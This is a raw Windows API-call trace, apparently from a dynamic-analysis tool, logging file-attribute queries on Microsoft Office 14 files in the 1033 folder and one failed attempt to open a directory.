	[0052.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272d408 | out: lpFileInformation=0x1272d408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xc990)) returned 1
	[0052.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272d458 | out: lpFileInformation=0x1272d458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4d80)) returned 1
	[0052.111] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272d4a8 | out: lpFileInformation=0x1272d4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x4388)) returned 1
	[0052.112] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), fInfoLevelId=0x0, lpFileInformation=0x1272d4f8 | out: lpFileInformation=0x1272d4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x3580)) returned 1
	[0052.112] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), fInfoLevelId=0x0, lpFileInformation=0x1272d548 | out: lpFileInformation=0x1272d548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e19600, ftCreationTime.dwHighDateTime=0x1c56bc4, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf9e19600, ftLastWriteTime.dwHighDateTime=0x1c56bc4, nFileSizeHigh=0x0, nFileSizeLow=0x6a3)) returned 1
	[0052.113] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1272d598 | out: lpFileInformation=0x1272d598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a197900, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a197900, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6b2dfe)) returned 1
	[0052.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxc"), fInfoLevelId=0x0, lpFileInformation=0x1272d5e8 | out: lpFileInformation=0x1272d5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x281)) returned 1
	[0052.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_col.hxt"), fInfoLevelId=0x0, lpFileInformation=0x1272d638 | out: lpFileInformation=0x1272d638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1)) returned 1
	[0052.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_f_col.hxk"), fInfoLevelId=0x0, lpFileInformation=0x1272d688 | out: lpFileInformation=0x1272d688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72)) returned 1
	[0052.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev_k_col.hxk"), fInfoLevelId=0x0, lpFileInformation=0x1272d6d8 | out: lpFileInformation=0x1272d6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71)) returned 1
	[0052.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1272d728 | out: lpFileInformation=0x1272d728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef99800, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdef99800, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x7770e6)) returned 1
	[0052.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxc"), fInfoLevelId=0x0, lpFileInformation=0x1272d778 | out: lpFileInformation=0x1272d778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d)) returned 1
	[0052.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_col.hxt"), fInfoLevelId=0x0, lpFileInformation=0x1272d7c8 | out: lpFileInformation=0x1272d7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd)) returned 1
	[0052.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), fInfoLevelId=0x0, lpFileInformation=0x1272d818 | out: lpFileInformation=0x1272d818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72)) returned 1
	[0052.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), fInfoLevelId=0x0, lpFileInformation=0x1272d868 | out: lpFileInformation=0x1272d868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71)) returned 1
	[0052.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272d8b8 | out: lpFileInformation=0x1272d8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80)) returned 1
	[0052.117] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), fInfoLevelId=0x0, lpFileInformation=0x1272d908 | out: lpFileInformation=0x1272d908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cfb800, ftCreationTime.dwHighDateTime=0x1cac79b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70cfb800, ftLastWriteTime.dwHighDateTime=0x1cac79b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000)) returned 1
	[0052.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EntityPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\entitypickerintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272d958 | out: lpFileInformation=0x1272d958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6b2600, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1e6b2600, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x5f88)) returned 1
	[0052.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), fInfoLevelId=0x0, lpFileInformation=0x1272d9a8 | out: lpFileInformation=0x1272d9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x13f68)) returned 1
	[0052.119] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), fInfoLevelId=0x0, lpFileInformation=0x1272d9f8 | out: lpFileInformation=0x1272d9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83340500, ftCreationTime.dwHighDateTime=0x1c937e6, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x83340500, ftLastWriteTime.dwHighDateTime=0x1c937e6, nFileSizeHigh=0x0, nFileSizeLow=0x7ec)) returned 1
	[0052.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), fInfoLevelId=0x0, lpFileInformation=0x1272da48 | out: lpFileInformation=0x1272da48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1
	[0052.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), fInfoLevelId=0x0, lpFileInformation=0x1272da98 | out: lpFileInformation=0x1272da98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1
	[0052.121] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), fInfoLevelId=0x0, lpFileInformation=0x1272dae8 | out: lpFileInformation=0x1272dae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbba2a00, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbba2a00, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x7fb)) returned 1
	[0052.121] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), fInfoLevelId=0x0, lpFileInformation=0x1272db38 | out: lpFileInformation=0x1272db38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4e570)) returned 1
	[0052.122] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), fInfoLevelId=0x0, lpFileInformation=0x1272db88 | out: lpFileInformation=0x1272db88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d63000, ftCreationTime.dwHighDateTime=0x1bbd3c6, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74d63000, ftLastWriteTime.dwHighDateTime=0x1bbd3c6, nFileSizeHigh=0x0, nFileSizeLow=0x2da00)) returned 1
	[0052.122] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1272dbd8 | out: lpFileInformation=0x1272dbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61152c00, ftCreationTime.dwHighDateTime=0x1c6e5fa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61152c00, ftLastWriteTime.dwHighDateTime=0x1c6e5fa, nFileSizeHigh=0x0, nFileSizeLow=0x94f26)) returned 1
	[0052.123] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), fInfoLevelId=0x0, lpFileInformation=0x1272dc28 | out: lpFileInformation=0x1272dc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d)) returned 1
	[0052.123] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), fInfoLevelId=0x0, lpFileInformation=0x1272dc78 | out: lpFileInformation=0x1272dc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd)) returned 1
	[0052.124] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), fInfoLevelId=0x0, lpFileInformation=0x1272dcc8 | out: lpFileInformation=0x1272dcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72)) returned 1
	[0052.124] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), fInfoLevelId=0x0, lpFileInformation=0x1272dd18 | out: lpFileInformation=0x1272dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71)) returned 1
	[0052.124] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272dd68 | out: lpFileInformation=0x1272dd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x32d80)) returned 1
	[0052.125] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), fInfoLevelId=0x0, lpFileInformation=0x1272ddb8 | out: lpFileInformation=0x1272ddb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x9380)) returned 1
	[0052.125] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), fInfoLevelId=0x0, lpFileInformation=0x1272de08 | out: lpFileInformation=0x1272de08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x18780)) returned 1
	[0052.126] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grlex.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272de58 | out: lpFileInformation=0x1272de58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3180)) returned 1
	[0052.126] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1272dea8 | out: lpFileInformation=0x1272dea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x22c410)) returned 1
	[0052.128] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), fInfoLevelId=0x0, lpFileInformation=0x1272def8 | out: lpFileInformation=0x1272def8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272)) returned 1
	[0052.128] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxt"), fInfoLevelId=0x0, lpFileInformation=0x1272df48 | out: lpFileInformation=0x1272df48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xda)) returned 1
	[0052.129] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), fInfoLevelId=0x0, lpFileInformation=0x1272df98 | out: lpFileInformation=0x1272df98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6f)) returned 1
	[0052.129] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_k_col.hxk"), fInfoLevelId=0x0, lpFileInformation=0x1274c008 | out: lpFileInformation=0x1274c008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e)) returned 1
	[0052.129] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn"), fInfoLevelId=0x0, lpFileInformation=0x1274c058 | out: lpFileInformation=0x1274c058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9dd600, ftCreationTime.dwHighDateTime=0x1cacb3e, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdd9dd600, ftLastWriteTime.dwHighDateTime=0x1cacb3e, nFileSizeHigh=0x0, nFileSizeLow=0xbb9)) returned 1
	[0052.130] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), fInfoLevelId=0x0, lpFileInformation=0x1274c0a8 | out: lpFileInformation=0x1274c0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
